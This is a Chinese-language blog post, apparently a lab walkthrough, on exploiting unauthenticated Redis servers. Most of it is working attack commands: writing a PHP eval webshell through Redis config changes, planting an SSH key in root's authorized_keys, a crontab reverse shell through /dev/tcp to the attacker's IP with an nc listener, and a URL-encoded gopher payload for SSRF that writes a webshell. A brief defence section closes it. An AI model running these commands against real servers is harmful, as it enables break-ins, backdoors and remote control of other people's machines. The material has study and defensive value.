Redis未授权访问漏洞
漏洞原理
redis默认端口6379,在默认配置情况下密码为空,因此如果将redis暴露到公网,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据,并且可以利用redis写入shell、写入公钥等危险操作
漏洞复现
安装redis
下载安装包后进行解压
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
进入到redis目录,make编译
进入到src目录,将redis-cli 和 redis-server 复制到/usr/bin目录下
cp redis-cli /usr/bin
cp redis-server /usr/bin
回到redis-2.8.17 目录,将redis-config 复制到/etc下
安装完成,使用redis-conf配置文件启动redis
redis-server /etc/redis-conf
在攻击机上同样安装启动redis,过程一致
靶机IP:192.168.30.103
攻击机IP:192.168.30.102
在攻击机上连接靶机
redis-cli -h 192.168.30.103
可以看到在没有任何认证的情况下直接远程连接上了靶机的redis服务
漏洞利用
利用redis写入webshell
前提条件:
- 可以成功远程连接,并且未作登录验证
- 知道网站的绝对路径,并且具有写入权限
因为是自己搭建的环境,所以知道绝对路径,使用config 修改redis保存目录和数据库文件名
config set dir /opt/lampp/htdocs/temp
config set dbfilename redis.php
通过键值,写入shell(redis会自动添加上版本信息,换行防止解析不了)
set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>\r\n\r\n"
访问写入的shell
蚁剑连接
写入SSH公钥
利用redis向靶机中的root账户写入ssh公钥,通过ssh登录目标服务器
1.在攻击机中生成RSA公私钥
ssh-keygen -t rsa
2.将生成的公钥保存为1.txt(同样换行)
(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt
3.利用redis,将1.txt写入到靶机
修改redis路径为ssh的公钥路径
config set dir /root/.ssh
修改文件名
config set dbfilename authorized_keys
写入公钥文件
cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x
查看靶机的.ssh目录,写入成功
4.在攻击机上使用ssh远程登录靶机
ssh -i id_rsa [email protected]
利用crontab反弹shell
1.攻击机上监听6666端口
nc -lvp 6666
2.利用redis写入定时计划
修改redis路径为crontab的路径
config set dir /var/spool/cron
修改文件名,修改完记得save一下
config set dbfilename root
写入定时计划
set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"
差不多一分钟以后就会执行语句反弹shell了
SSRF&Gopher&Redis
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议格式
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
这里推荐一个快速生成redis利用的payload脚本 firebroo/sec_tools ,需要修改py文件中的目的ip和端口,在redis.cmd中修改要执行的redis命令
flushall
config set dir /opt/lampp/htdocs/temp
config set dbfilename shell.php
set 'x' '<?php phpinfo();?>'
save
执行python脚本,生成payload
gopher://192.168.30.103:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%32%32%0d%0a%2f%6f%70%74%2f%6c%61%6d%70%70%2f%68%74%64%6f%63%73%2f%74%65%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%78%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
使用curl或者在ssrf漏洞环境中执行payload
访问刚刚写入的shell
漏洞防御
1.配置防火墙安全策略,禁止外网访问redis服务
2.在redis.conf配置文件中绑定ip
3.在redis.conf中开启密码认证
requirepass [yourpass]
标签:24%,set,写入,redis,访问,0a%,授权,0d%
From: https://www.cnblogs.com/Mast1n/p/redis.html